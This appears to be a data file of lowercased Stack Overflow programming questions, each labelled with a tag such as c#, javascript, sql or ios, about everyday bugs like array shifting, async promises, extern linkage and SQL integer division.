c# shift entire array by 1  i wanted to shift the entire array by one. example: if the array goes from [0] to [19] i want it to be from [1] to [20]  [0] dissapears.    <strong>current approach (it s wrong):</strong>   <pre><code>   shiftright(operationslist.toarray()));       public operation3d[] shiftright(operation3d[] arr)     {         operation3d[] demo = new operation3d[arr.length];          for (int i = 1; i &lt; arr.length; i++)         {             demo[i] = arr[i - 1];         }          demo[0] = arr[demo.length - 1];          return demo;     } </code></pre>,c#
"not able to access returned promise value  i have a js function that is supposed to take in a github username and apply that to a set of repo urls. i m trying to use async-await to fetch the data if found. i m able to get the promise to resolve but i can t access the native promise.    this is what i see in the console when the promise is resolved:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>promise {[[promisestatus]]:  pending  [[promisevalue]]: undefined}
 __proto__: promise
 [[promisestatus]]:  resolved 
 [[promisevalue]]: array(38)</code></pre>
 </div>
 </div>
     i would like to be able to iterate over the returned array s values. in my case  it would be 38 objects in the returned array.    this is my async function:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>async function getuserexercises(githubname) {
     const exerciseurls = [
         `https://api.github.com/repos/${githubname}/repo-name/contents/`
         // `https://api.github.com/repos/${githubname}/repo-name/contents/css/` 
         // `https://api.github.com/repos/${githubname}/repo-name/contents/js/` 
         // `https://api.github.com/repos/${githubname}/repo-name/contents/es6` 
     ]
      
         const exerciserepos = exerciseurls.map(
             async url =&gt; {
                 let response = await fetch(url)
 
                 if(response.status == 200) {
                     return await response.json()
                 }else{
                     // error message function that displays error on page
                     showerrormsg(response.statustext)
                 }
             }
         )
         console.log(exerciserepos)
 }</code></pre>
 </div>
 </div>",javascript
error: could not load file or assembly microsoft.analysisservices.adomdclient  an error occurs in .net application when attempting to connect to an olap cube:   <blockquote>    could not load file or assembly    microsoft.analysisservices.adomdclient  version=xx.0.0.0    culture=neutral  publickeytoken=89845dcd8080cc91  or one of its   dependencies. the system cannot find the file specified.  </blockquote>   any idea,.net
is there a way to know  if input value was changed by webpage or user   so  is there a way to know  if input value was changed by webpage or user  for example  a input  i change its value with script help (greasemonkey)  and i need to know if the value is changed/cleared by webpage or the user. this is what i have so far  will reset value  if there was any changes made.   <pre><code>if (firstinput.value != email) {     firstinput.focus();     firstinput.value = email; } </code></pre>,javascript
changing uitableviewcellaccessory image  is it possible to change the uitableviewcellaccessory image in tableviewcell,iphone
error: extern declaration of  i  follows declaration with no linkage  in the following program  i thought that <code>extern int i;</code> will change the following <code>i</code> to refer to the <code>i</code> defined outside <code>main</code>:   <pre><code>#include &lt;stdio.h&gt;  extern int i=1; // warning:  i  initialized and declared  extern   int main() {     int i=2;     printf( %d\n   i);     extern int i; // error: extern declaration of  i  follows declaration with no linkage     printf( %d\n   i);     return 0; } </code></pre>   what is the reason of the  error: extern declaration of  i  follows declaration with no linkage   where  declaration with no linkage  refers to <code>int i=2;</code>     after i remove <code>int i=2</code> in <code>main</code>     <ul> <li>the error is gone </li> <li>the warning  warning:  i  initialized and declared  extern   on <code>extern int i=1;</code> also disappear . why is that </li> </ul>   thank you for explanations!,c
c# data from datagrid to textbox   i am creating a program that holds customers details and sends them an email alerting them of special offers. i am having trouble when i export the email data as i want to store it in the <code>sendto.text</code> field separating each address with a comma  how can i get the data from each row of the <code>datagrid</code> and can it be stored and separated with a comma in a <code>textfield</code> .    hope this makes sense. thanks   <pre><code>for (int i = 0; i &lt; datagridview1.rows.count; i++) {     sendto.text = datagridview1.rows[i].cells[3].value.tostring()); } </code></pre>,c#
oop or regular php for beginner   i am starting away with a project  building an arabic blog for a small time author  i want the advice from php gurus for the project. should i follow the structured php or is it advisable to dive in oop and start my project using the oop. (i have a dead line to meet).     please do not advice me on using any cms like wordpress  or joomla or drupal. i took the project only to experience the learning.     thank you..,php
javascript code is not working  this code is not working:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta charset= utf-8  /&gt; &lt;title&gt;&lt;/title&gt; &lt;script&gt; document.getelementbyid( button ).addeventlistener( click   outinfo  false); function outinfo () { var user =  document.getelementbyid( username ).value; alert(user); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;user name: &lt;input id= username  type= text /&gt; &lt;input id= button  type= button  value= click me  /&gt; &lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>  <hr>   this code is working:   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head&gt; &lt;meta charset= utf-8  /&gt; &lt;title&gt;&lt;/title&gt; &lt;script&gt; &lt;script&gt; function output() { var i = document.getelementbyid( input ); window.alert(i.value); } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;user name: &lt;input type= text  name= username  id= input  size= 30 /&gt; &lt;input type= button  id= button  value= start  onclick= output()  /&gt; &lt;/p&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>  <hr>   what s wrong with the first one  i suppose the problem is with a function  outinfo . which way is the best to solve such problems,javascript
function which given a point and a value of the area of a square as input parameter returns four squares  in this code i don t understand why teacher used sometimes +value  - value;   <pre><code>/******************************************/ // function void returnsquares(point point  int value) void returnsquares(point point  int value) {     square tabsquares[4];       // table of squares that we are creating     int i;      // getting points of 4 squares     // for first square input point is point c     tabsquares[0].pointa.dimx = point.dimx - value;     tabsquares[0].pointa.dimy = point.dimy + value;     tabsquares[0].pointb.dimx = point.dimx;     tabsquares[0].pointb.dimy = point.dimy + value;     tabsquares[0].pointc.dimx = point.dimx;     tabsquares[0].pointc.dimy = point.dimy;     tabsquares[0].pointd.dimx = point.dimx - value;     tabsquares[0].pointd.dimy = point.dimy;       // for 2nd square input point is point d     tabsquares[1].pointa.dimx = point.dimx;     tabsquares[1].pointa.dimy = point.dimy + value;     tabsquares[1].pointb.dimx = point.dimx + value;     tabsquares[1].pointb.dimy = point.dimy + value;     tabsquares[1].pointc.dimx = point.dimx + value;     tabsquares[1].pointc.dimy = point.dimy;     tabsquares[1].pointd.dimx = point.dimx;     tabsquares[1].pointd.dimy = point.dimy;       // for 3rd square input point is point a     tabsquares[2].pointa.dimx = point.dimx;     tabsquares[2].pointa.dimy = point.dimy;     tabsquares[2].pointb.dimx = point.dimx + value;     tabsquares[2].pointb.dimy = point.dimy;     tabsquares[2].pointc.dimx = point.dimx + value;     tabsquares[2].pointc.dimy = point.dimy - value;     tabsquares[2].pointd.dimx = point.dimx;     tabsquares[2].pointd.dimy = point.dimy - value;      // for 4th square input point is point b     tabsquares[3].pointa.dimx = point.dimx - value;     tabsquares[3].pointa.dimy = point.dimy;     tabsquares[3].pointb.dimx = point.dimx;     tabsquares[3].pointb.dimy = point.dimy;     tabsquares[3].pointc.dimx = point.dimx;     tabsquares[3].pointc.dimy = point.dimy - value;     tabsquares[3].pointd.dimx = point.dimx - value;     tabsquares[3].pointd.dimy = point.dimy - value;       for (i=0; i&lt;4; i++) {         printf( square number %d\n  i); // now we print parameters of each point in current square         printf( point a x= %0.2f y= %0.2f\n  tabsquares[i].pointa.dimx tabsquares[i].pointa.dimy);          printf( point b x= %0.2f y= %0.2f\n  tabsquares[i].pointb.dimx tabsquares[i].pointb.dimy);         printf( point c x= %0.2f y= %0.2f\n  tabsquares[i].pointc.dimx tabsquares[i].pointc.dimy);         printf( point d x= %0.2f y= %0.2f\n  tabsquares[i].pointd.dimx tabsquares[i].pointd.dimy);     } } </code></pre>,c
copy attribute of objective-c property creates a deep copy or a shallow copy   i have an <code>nsmutabelarray</code> with some objects in it as a property of my <code>view-controller</code>. now i pass this array when i push this vc.    i initially made it assign.    but now i needed to modify the array whenever the device rotates  in the vc without affecting the one in previous vc. so made it a copy property.    now i was individually changing the objects in the array.    but somehow..the array in my prev vc was also changing.    i had to create a new <code>nsmutabelarray</code> with modified objects and had to set to my property.    is it that copy attribute just makes another array with same references of objects added to the array,objective-c
how should i express fractions like 15/16ths in html   i know there are html entities for 1/2  1/4  and 3/4  but are there others  like 1/3 or 1/8  is there a good way to encode arbitrary fractions,html
`unsupported: trueclass` on rails model  i have the following method in my rails <code>user.rb</code> model:   <pre><code>before_save :set_username    private    def set_username     @users = user.where(first_name == self.first_name)     same_first_name_array = []     @users.each do |u|  &lt;&lt;&lt;&lt;&lt;&lt;&lt;error called on this line&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;       same_first_name_array &lt;&lt; u.first_name     end      if same_first_name_array.size == 0       self.username = first_name     else       self.username = first_name +   the   + ordinalize(same_first_name_array.size + 1)     end   end </code></pre>   when i try to update a <code>user</code> i get an <code>unsupported: trueclass</code> error on the line indicated.  i m not too familiar with <code>trueclass</code> errors  but have a feeling it is being caused by the <code>each</code>.  can anyone help me get rid of this error,ruby-on-rails
deserializing a string line by line in c  i m receiving as string in the following format over a udp connection   <pre><code>1 2 7 1 3 5 1 4 6 </code></pre>   i want to deserialize this string and write it into an array of structs of the following type   <pre><code>typedef struct rv{     int server1;     int server2;     int weight; }rv; </code></pre>   i m using the following function to do that.   <pre><code>void deserialize(rv** arr  char* msg){     int idx = 0;     char line[10];      while (fgets(line  sizeof line  msg)){         rv rv;         rv.server1 = atoi(strtok(line     ));         rv.server2 = atoi(strtok(null     ));         rv.weight = atoi(strtok(null  \n ));         memcpy(arr[idx]  &amp;rv  sizeof(rv));         idx++;     }  } </code></pre>   i continue to get a <code>segmentation fault</code> when i try to read this array.,c
how to show popover after dismissing keyboard  _momvc = [[momviewcontroller alloc]initwithnibname:@ momviewcontroller  bundle:nil];     _momvc.contents =  decodedstring;     _momvc.delegate = self;     _momvc.preferredcontentsize = cgsizemake(self.view.frame.size.width  90);   <pre><code>popovercontrollerfornote = [[uipopovercontroller alloc] initwithcontentviewcontroller:_momvc]; popovercontrollerfornote.popovercontentsize = cgsizemake(self.view.frame.size.width  80.0); //popovercontrollerfornote.autoresizingmask=uiviewautoresizingflexibleheight || uiviewautoresizingflexiblewidth; [popovercontrollerfornote presentpopoverfromrect:[btn frame]                                           inview:pagebar                         permittedarrowdirections:uipopoverarrowdirectionany                                         animated:yes]; </code></pre>,ios
are there any books which will help me to create a website of my own style  if so what are they  are there any books which will help me to create a website of my own style  if so what are they,html
how can i display a class with no test data   i am trying to display the departments saved in the responding database with no students allocated to a department. i have the following code  the error message is displaying correctly but the list of departments with no students is not.    <pre><code>private static void displaydepartments(university u) {     foreach (department d in u.departments)     {           if (d.contains(null))           {               console.writeline(d.tostring());           }           else           {               console.writeline( all departments contain students );           }     } } </code></pre>,c#
can i get the same style for a div as i get on a button   in jquery you could make a cool button with $( a ).button(). it then gets a certain style base on the theme.    is there are way i can style a div wrapping my content with the same style as my button  any classes to add     thanks,jquery
if statement in a sql query  is there anyway that i can basically do the following in a sql clause  (i know syntax isn t correct  but that s not the point  it s the idea)    <code>set rs = select title  copy  masterid from table1</code>    <code>//if the masterid is not 0 then instead of using the copy from table1  use the copy from table2</code>    <code>if masterid&lt;&gt;0 then</code> <code>set rs2 =  select copy from table2 where masterid =  &amp; masterid</code> <code>copy = rs(0)</code>    i hope that makes sense. look forward to hearing your responses. thanks!,sql
rails: fields_for only one object  i ve got a model product in my rails application  its attributes can be edited  and i want to let user comment every change he makes (a comment can be blank  though). so  product has_many :comments  it accepts_nested_attributes_for :comments and rejects it if the comment is blank.    hence  the edit form for product is a multi-model form. the problems i faced are:   <ol> <li>fields_for helper renders text areas for all comments belonged to the product  so the user can edit all previous comments. i need it to render fields for the new one only.</li> <li>if validation breaks  and there are no comments  fields_for renders nothing. should i perform @product.comments.build in the view before fields_for statement every time  or there is more elegant way to do it </li> </ol>   maybe i m wrong and fields_for isn t suitable in this situation,ruby-on-rails
avoiding redundancy in updating an object s properties  when i instanciate a new entiti  it looks like this:   <pre><code>var myentity = new myentity()  {     field1 =  myvalue       field2 =  myothervalue       ... } </code></pre>   this avoids having to write <code>myentity.field1</code> many time.    but when i have to update multiple properties  i don t know any way to avoid the repetition of code. so at the moment  i do like this:   <pre><code>myentity.field1 =  mynewvalue ; myentity.field2 =  myothernewvalue ; ... </code></pre>   does c# allow any more concise way of updating multiple properties,c#
uitable first section contains a  so  i can provide a picture in a bit if that would help clarify.    i currently have a uitableview with alot of rows. the first row of the table is a search bar. great  works fine.    i ve just added  plain  indexes  alphabetic headings before each section displayed in the table. i ve also added right most index for jumping quickly to any section.    however  since the uisearchbar is part of the of the table (the first element) when the uisearchbar is drawn  it pushes the uisearchbar over a bit  squishing it. it looks silly. one option is not make the uisearchbar part of the table  but i have no where else to put it.    any idea how to get the right most index to sit over the uisearchbar     thanks     <ul> <li>sk</li> </ul>,iphone
mysql convert_tz()  the mysql function convert_tz() is returning null vale. i populated the time zone tables and restarted mysql service multiple times. but the function is still returning null value.    can anyone please help me in resolving the issue.    thanks  gupta.,mysql
formview_itemupdating in not updating  i am using a formview to update an existing sql server record.  the rows from the sqldatasource display fine in the formview and i can edit them.  when i click update  i get the itemupdating event but not the itemupdated event and the revisions are not written to the database.     can anyone help me in this please.,asp.net
undefined symbols for architecture  error when i initialize vector in a separate c++ file  so i m very new to programming and i have recently come across an error i am unable to figure out. i have a main.cpp file and a functions.cpp file  and in main i do something like this:   <pre><code>string word; vector&lt;string&gt; vec1; func1(word  &amp;vec1); //where func1 is located in functions.cpp  </code></pre>   then  in the implementation of func1 in functions.cpp  i have something like this:   <pre><code>while (getline(cin  word)) {       vec1.push_back(word); } </code></pre>   and it is giving me two errors. one is  error command failed with linker command 1  (which i have seen many times before  but is implying a different error in this case)     and      undefined symbols for architecture x86_64: func1(....); referenced from _main in main.o . i have searched for an adequate answer for this error as well and have not been able to figure it out.      can anyone tell me what i am doing wrong here and how i can resolve the error,c++
link to official android game samples   well  the question is self-explanatory. as i was reading google docs provided for android  they pointed to game samples over and over  but unfortunately there is no proper updated link to game samples. does anyone know where can i find them  help appreciated.   <blockquote>    for a sample application  see the snake game  in the sdk samples   folder: /samples/snake/.  </blockquote>   and nothing <a href= https://github.com/googlesamples  rel= nofollow noreferrer >here</a> as well.,android
sql - to compare the changes and run the set of scripts from one server to another  i have a dev server x which is facing end customer and a qa server backend. x hadn t been updated since may and now  i need to match it up with the qa dbs.     i am able to do the schema changes using redgate sql compare but insert/update scripts are pending.     any simpler way to do this  or do i need to proceed manually one by one,sql
how to display only href html code in angular   i use <code>{{message}}</code> in template html. this code shows html as text in page. how i can show only one html tag <code>&lt;a href&gt;</code> as html in page,angularjs
failed to resolve com.android.support:design:22.0.0 <pre><code>apply plugin:  com.android.application    android {      compilesdkversion 22   buildtoolsversion  22.0.1    defaultconfig {   applicationid  com.ipoc.wipro.com.socialapp           minsdkversion 15          targetsdkversion 22          versioncode 1          versionname  1.0           multidexenabled true     }    buildtypes {          release {              minifyenabled false               proguardfiles getdefaultproguardfile( proguard-android.txt )   proguard-rules.pro           }      }      productflavors {      }  }   dependencies {      provided filetree(dir:  libs   include: [ *.jar ])      // com.android.support:support-v4:23.4.0       // com.android.support:appcompat-v7:23.4.0       // com.android.support:design:23.4.0     testcompile  junit:junit:4.12     compile  com.google.android.gms:play-services-maps:9.2.1       compile  com.google.android.gms:play-services-location:9.0.2      compile  com.android.support:support-v4:22.0.0      compile  com.android.support:appcompat-v7:22.0.0      compile  com.android.support:multidex:1.0.0      compile  com.android.support:design:22.0.0      compile  com.android.support.constraint:constraint-layout:1.0.0-alpha4      compile  com.google.android.gms:play-services:9.2.1      compile  com.google.android.gms:play-services-ads:9.2.1      compile  com.google.android.gms:play-services-auth:9.2.1      compile`enter code here`  com.google.android.gms:play-services-gcm:9.2.1   } </code></pre>   error:(35  13) failed to resolve: com.android.support.constraint:constraint-layout:1.0.0-alpha4 install repository and sync  show in file show in project structure dialog,android
is there a way two have two different index views on the same controller   i have a situation where i want to set up two different index views from the same controller.    the default view has a table with columns pertaining to incoming stock  while the second one has a table with columns pertaining to the billing for those incoming stock orders.    this separation is to de-clutter the one view i have now that shows all the information on one page.    i plan to switch between them with a button on each view leading to the other.    i realize this is probably not the rails way  and if there is such a way to approach this  i m all ears.    i thought that i could do this using variants but it seems to me that only works for displaying content to different device types.,ruby-on-rails
how to use window.onload in angular js controller   how to use <code>window.onload</code> function inside a controller.   <pre><code> window.onload= function() {      console.log( hi page loaded )    }; </code></pre>   the controller is not applicable for the full page.  i want to execute a function after my controller loads at-least.,angularjs
how to include variable values in the scan(f) function on the same line   suppose i want to input 4 integers to be assigned to a variable when the program prompts me to. when i type in the first integer and hit enter  the marker should stay on the same line and skip a space. the second on would be entered on that same line. each integer would have one space between them    what function can i use. please suggest the simplest possible way. (still a beginner).   <pre><code>int num1  num2  num3  num4; printf( give values:  ); scanf( %d%d%d%d   &amp;num1  &amp;num2  &amp;num3  &amp;num4); </code></pre>,c
how to make text bold in asp:dropdownlist  i have a asp:dropdownlist  which shows below code when page renders   <pre><code>&lt;select id= contactus_ddlwhichprogrammes  name= contactus$ddlwhichprogrammes &gt;     &lt;option value= select an option &gt;select an option&lt;/option&gt;     &lt;option value= interestoptionbusiness &gt;business&lt;/option&gt;     &lt;option value= interestoptionenglish &gt;english&lt;/option&gt;     &lt;option value= interestoptionexampreparation &gt;exam preparation&lt;/option&gt;     &lt;option value= interestoptionuniversity &gt;university&lt;/option&gt;     &lt;option value= interestoptionworkandstudy &gt;work and study&lt;/option&gt; &lt;/select&gt; </code></pre>   now i want to make some option text bold randomly  i mean i want <strong>english</strong> and <strong>university</strong> as bold while other text will be normal.    please suggest is it is possible or i need to implement any other logic. the dropdown are populated from the xml.,.net
interactive text area with strict guidelines  i m trying to build an interactive text area where a user must enter specific text.    so for example i may ask a user to enter the answer to  does a dog bark   if the user enters  yes  the box will turn green and if they enter anything else the box will turn red (green indicating correct and red indicating wrong).    i hope that is clear  any help would be much appreciated!,html
do i need to put angularjs in the <head> if i want to hide {{ xxx }} from showing on my page   i have html like this:                <pre><code>&lt;div id= top       ng-hide= app.stateservice.displaymodal &gt;    &lt;div&gt;{{ app.userservice.data.name }}&lt;/div&gt; &lt;/div&gt;  // body html here.  no images are loaded. just divs  &lt;script src= scripts/jquery-2.1.1.min.js &gt;&lt;/script&gt; &lt;script src= /scripts/angular.js &gt;&lt;/script&gt; </code></pre>        now the page briefly shows {{ app.userservice.data.name }}.     if i want this to not show then do i have to have angularjs in the head of my document  the reason i placed angularjs at the end was because i wanted to have the page appear as quickly as possible.     can someone advise me about this and also tell me how i can make the {{ xxx }} hidden when the page first loads up.,angularjs
python optimization with big numbers  i want to print all prime numbers with 7 consecutive 7s less than <code>10000000000</code>. i was getting a <code>memoryerror</code> when using <code>range()</code> because the generated array couldn t be stored  so i changed the loop into a <code>while</code> loop.    however the program is really slow. it takes more than a minute to print the first number found.   <pre><code>import math  def is_prime(n):     if n % 2 == 0 and n &gt; 2:          return false     i = 3     while i &lt; math.sqrt(n) + 1:     #for i in range(3  int(math.sqrt(n)) + 1  2):         if n % i == 0:             return false         i += 2     return true  def is_super_happy(n):     count = 0     while n != 0:         if n%10 == 7:             count += 1             if count == 7:                 return true         else:             count = 0         n /= 10     return count == 7  i = 7777777 while i &lt; 10e10: #for i in range(7777777  int(10e10)):     if is_super_happy(i) and is_prime(i):         print i     i += 1 </code></pre>   i can t thing of anything that could make this go faster  and i want it to be really fast.    any ideas  tips,python
problem with aligning divs  i have 3 divs each of 250 width and 125 height. how can i align them next to each other so that they work on most of the browsers,css
why cannot del a dictionary in python 3   i created a dict in python 3  its type is dict as expected    <pre><code>dict = { name :  tom    age : 7   class :  first } type(dict) </code></pre>   then i deleted it with <code>del</code>  but it still exists and type is changed to  type    <pre><code>del dict       # delete entire dictionary type(dict) </code></pre>   why does del not work on the dict  why is type changed,python
open detailview of contact of address book and filled detail and save it  i want to open detail view of contact and then. i want to save in adress book. please give me a hint.,iphone
turn positive into negative   i ve got this code   <pre><code>public class fibonegativv {     int negativ(int nv) {         if (nv ==0)         return 1;          if (nv ==1)         return 2;          return negativ(nv-1) + negativ(nv-2);     } } </code></pre>   now i would like to turn the final number into negative. i ve tried a few things like  nv = -nv;  but i usually got stackover when i put it before the   return negativ(nv-1) + negativ(nv-2)  and it is unreachable when it s after this line.,java
change a .net 4.6.1 project to .net 4.7 failed  when i change the targetting from .net 4.6.1 to .net 4.7 .    i get this error when build   but there is no project .json    how can i pass this  project cannot compile now. severity    code    description    project    file    line    suppression state error        `   <blockquote>    your project is not referencing the  .netframework version=v4.7    framework. add a reference to  .netframework version=v4.7  in the    frameworks  section of your project.json  and then re-run nuget   restore.  </blockquote>   `,.net
different version of dll for .net framework  we have installed .net framework version 4.0.30319 in our development environment and production environment.    but we found that dlls are different (date/size) on these machine.     developer machine: intel(r) core(tm) i3 cpu 540 @ 3.07 ghz  windows 7 enterprise (sp1)-64bit  8 gb ram  .net framework v4.0.30319    production server: intel(r) xeon(r) cpu e5-2609 @ 2.40 ghz (2x cpu quad core)  windows server 2008 r2 enterprise-64bit  48 gb ram  .net framework v4.0.30319    what could be reason for different dll version for same .net framework      please let me know if any further any information required.,.net
how do i know when a uitableview looses focus   i have a uitableview with a uitextfield for each row. when the user touches outside the tableview  deselecting the text field  i would like to invoke a method.    however  i don t want to invoke such method if the user selects another row of the table.    thanks    **code for alloc_init **:    <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;      cmtableviewcell *cell = [tableview dequeuereusablecellwithidentifier:cellidentifier];     if (cell == nil) {         cell = [[[cmtableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:cellidentifier] autorelease];     }      [[cell textfield] settag:[indexpath row]];     [[cell textfield] setdelegate:self];      nsstring *tagname = [tagsdisplayname objectatindex:[indexpath row]];     [[cell textfield] settext:tagname];      return cell; } </code></pre>,ios
struct in header file 1 needed in header file 2  how do i do that   i have a struct that i use in header file1. i now also need that struct in header file2 because it is used in function prototypes. i have included header file1 in header file2  but this give a lot of complaints of redefition of types after compiling  is there a straightforward way to do it  i have googled about nested header files but this gives me rather complicated articles. i was wondering if there is a simple way to do this,c
what does the @package directive do in objective-c   does anyone know exactly what the @package directive is used for in objective-c     the only mention i could find of it in programming in objective-c 2.0 by stephen kochan was:   <blockquote>    @package - for 64 bit images  the instance variable can be accessed anywhere within the image that implements the class  </blockquote>   ...    what  is this restricted to being used with images  as in pictures  or does it mean images as in disk images     it s a confusing description  and doesn t elaborate whatsoever throughout the rest of the book....    any help would be awesome  thanks!,objective-c
c# programming error - expression denotes a `type   where a `variable   `value  or `method group  was expected  here is my code. i m stuck with this recurring error and am at a loss for what to do next. any guidance on what direction to look in would be great as i am learning how to code. the error message is listed below.    <blockquote>    <strong>error</strong> cs0119: expression denotes a  type   where a  variable    value  or  method group  was expected  </blockquote>  <pre><code>using system; using system.collections.generic; using system.data.odbc; using system.linq; using system.text; using system.threading.tasks; using static system.console;  namespace kata {     public static class pascalstriangle     {         new public static void main()         {             int no_row  c = 1  blk  i  j;              console.write( \n\n );             console.write( display the pascal s triangle:\n );             console.write( -------------------------------- );             console.write( \n\n );              console.write( input number of rows:  );             no_row = convert.toint32(console.readline());              for (i = 0; i &lt; no_row; i++)             {                 for (blk = 1; blk &lt;= no_row - i; blk++) ;                  console.write(    );                  for (j = 0; j &lt;= i; j++)                 {                     if (j == 0 || i == 0)                         c = 1;                     else                         c = c * (i - j + 1) / j;                      console.write( {0}      c);                 }                  console.write( \n );             }         }     } } </code></pre>,c#
should i use a function in a situation where it would be called an extreme number of times   i have a section of my program that contains a large amount of math with some rather long equations. its long and unsightly and i wish to replace it with a function. however  chunk of code is used an extreme number of times in my code and also requires a lot of variables to be initialized.     if i m worried about speed  is the cost of calling the function and initializing the variables negligible here or should i stick to directly coding it in each time     thanks      -faken,c++
can i add a resize function to this script   i am not really good in php but the images that will show on the webpage of mine will be the main resolution. i would like to downscale it but i have no clue how.   <pre><code>&lt; php $images = glob( *.{gif png jpg jpeg}   glob_brace); // formats to look for  $num_of_files = 2; // number of images to display  foreach ($images as $image) {     $num_of_files--;      if ($num_of_files &gt; -1) // this made me laugh when i wrote it     {         echo  &lt;b&gt;  . $image .  &lt;/b&gt;&lt;br&gt;              .  created on   . date( d  d m y h:i:s   filemtime($image)) .  &lt;br&gt;              .  &lt;img src=   . $image .   &gt;&lt;br&gt;&lt;br&gt; ;     } // display images     else {         break;     } }  &gt; </code></pre>,php
horizontally aligning three divs not working with only html  i have some code  and my <code>stylesheet.css</code> is not working so i figured out can t have css. i can only include html. i have 3 <code>divs</code> and i need to put them in a horizontal align. how do i do this     here is my code.   <pre><code>&lt;div&gt;div 1&lt;/div&gt; &lt;div&gt;div 2&lt;/div&gt; &lt;div&gt;div 3&lt;/div&gt; </code></pre>   and my css which isn t working.   <pre><code>div {     height: 100px;     width: 100px;     background-color: red; } </code></pre>   i need to horizontally align these  3 divs only with html.,html
remove tabpage from tabcontrol using c# windows application  i am using a tabcontrol  i want to remove a particular tab from the control. the value i have to do this in a string which i dynamically.    how to remove the tab from tabcontrol using a existing tab name which i have in a string       the problem i am facing is..    i tried to use  tabcontrol1.tabpages.remove(tabpage name);    in the above syntax i need to pass the tabpage name  but i have the value in a string.,c#
ios-fail of get value  i use <code>objectforkey</code> to get value from an <code>xml</code> file but not its failed. here is parts of the <code>xml</code> data   <pre><code>{  __name  = root; destination = civc; message =     {      co2_emissions  =  &lt;p&gt;co&lt;sub&gt;2&lt;/sub&gt; emissions saved by this bart trip: &lt;strong&gt;9.8 pounds.&lt;/strong&gt; &lt;a href=\ http://www.bart.gov/guide/carbon.aspx\ &gt;read more&lt;/a&gt;&lt;/p&gt; ;     legend =  bikeflag: 1 = bikes allowed. 0 = no bikes allowed. transfercode: blank = no transfer  n = normal transfer  t = timed transfer  connecting trains will wait up to five minutes for transferring passengers. s = scheduled transfer  connecting trains will not wait for transferring passengers if there is a delay. ; }; origin = ashb;  sched_num  = 34; schedule =     {     after = 2;     before = 2;     date =  jan 6  2014 ;     request =         {         trip =             (                             {                  _clipper  =  1.40 ;                  _desttimedate  =  01/06/2014 ;                  _desttimemin  =  11:52 am ;                  _destination  = civc;                  _fare  =  3.75 ;                  _origtimedate  =  01/06/2014  ;                  _origtimemin  =  11:27 am ;                  _origin  = ashb;                 leg =                     {                      _bikeflag  = 1;                      _desttimedate  =  01/06/2014 ;                      _desttimemin  =  11:52 am ;                      _destination  = civc;                      _line  =  route 7 ;                      _order  = 1;                      _origtimedate  =  01/06/2014 ;                      _origtimemin  =  11:27 am ;                      _origin  = ashb;                      _trainheadstation  = mlbr;                      _trainidx  = 29;                      _transfercode  =   ;                 };             }  </code></pre>   and here is my code to get the <code>origin</code> <code>destination</code>  <code>sched_num</code>  <code>date</code>  <code>_desttimedate origin</code>  <code>destination</code>  <code>sched_num</code>  <code>date</code> work well   <pre><code>self.departlabel.text = [dic objectforkey:@ origin ]; self.arrivelabel.text = [dic objectforkey:@ destination ]; self.schednumlabel.text = [dic objectforkey:@ sched_num ]; self.datelabel.text = [[dic objectforkey:@ schedule ] objectforkey:@ date ]; self.timelabel.text = [[[[dic objectforkey:@ schedule ] objectforkey:@ request ]objectforkey:@ trip ]objectforkey:@ _desttimedate ]; </code></pre>   only the <code>_desttimedate</code> doest work. how to get this value,ios
can javascript callbacks deal with streaming/chunked json   i have some json coming back and each chunk is around 200 rows.  the format is something like this   <pre><code>{  data : [      { time :24   col1 :54   col2 :23}     { time :56   col1 :65   col2 :22}     ... ]} </code></pre>   since the results are streamed to me a chunk at a time  it would be really nice to start graphing as i receive the data.  another option is the csv download as well which also gives us 200 rows in each chunk.  is there any way to setup java script so i can do the one ajax request and my code will be called for each chunk of data so i can add it to my chart while waiting for the next piece of data     thanks  dean,javascript
sql count() returning 0 when dividing  i am trying to create a really quick &amp; simple report for a client.  i am sure i have some syntax wrong since the result of the % is always 0.  here is the sql and the sample result set:   <pre><code>declare @totalcount int select @totalcount = (select count(1) from table where ordercompleteflag = 1) print @totalcount  select  21 - 25   count(1) as  count   (count(1) / @totalcount) from table where datediff(yy  dateofbirth  getdate()) between 21 and 35 and ordercompleteflag = 1 union select  26 - 30   count(1) as  count   (count(1) / @totalcount) from table where datediff(yy  dateofbirth  getdate()) between 26 and 30 and ordercompleteflag = 1 </code></pre>   results:   <pre><code>11175  21 - 25 7631    0 26 - 30 3544    0 </code></pre>   any help would be greatly appreciated. thx!    dennis   <pre><code>*** update ***  the quick fix (on sql server) was to just declare @totalcount as  decimal or numeric.  thanks to everyone that helped solve with input! :) </code></pre>,sql
current location of the object inside uiscrollview  i created uiscrollview and added large image inside of the scrollview to scroll. my question is how should i know the current location of the image that i added inside of the scrollview like its x and y  like for example  i scroll the image horizontally then and i want to know what its new x and y value of the image.,iphone
jquery- making variable available inside function  i am trying to use a predefined variable inside a number of functions (its an api key that i use in several functions on the page):   <pre><code>var key =  12345 ;  function get_dom(query) {      $.ajax({         type:  get           url:  http://www.example.com key= +key+ &amp;q= +query          success: function (data) {           // do stuff...         }     }); } </code></pre>   how do i get <code>key</code> available inside the function  i keep getting <code>undefined</code>,jquery
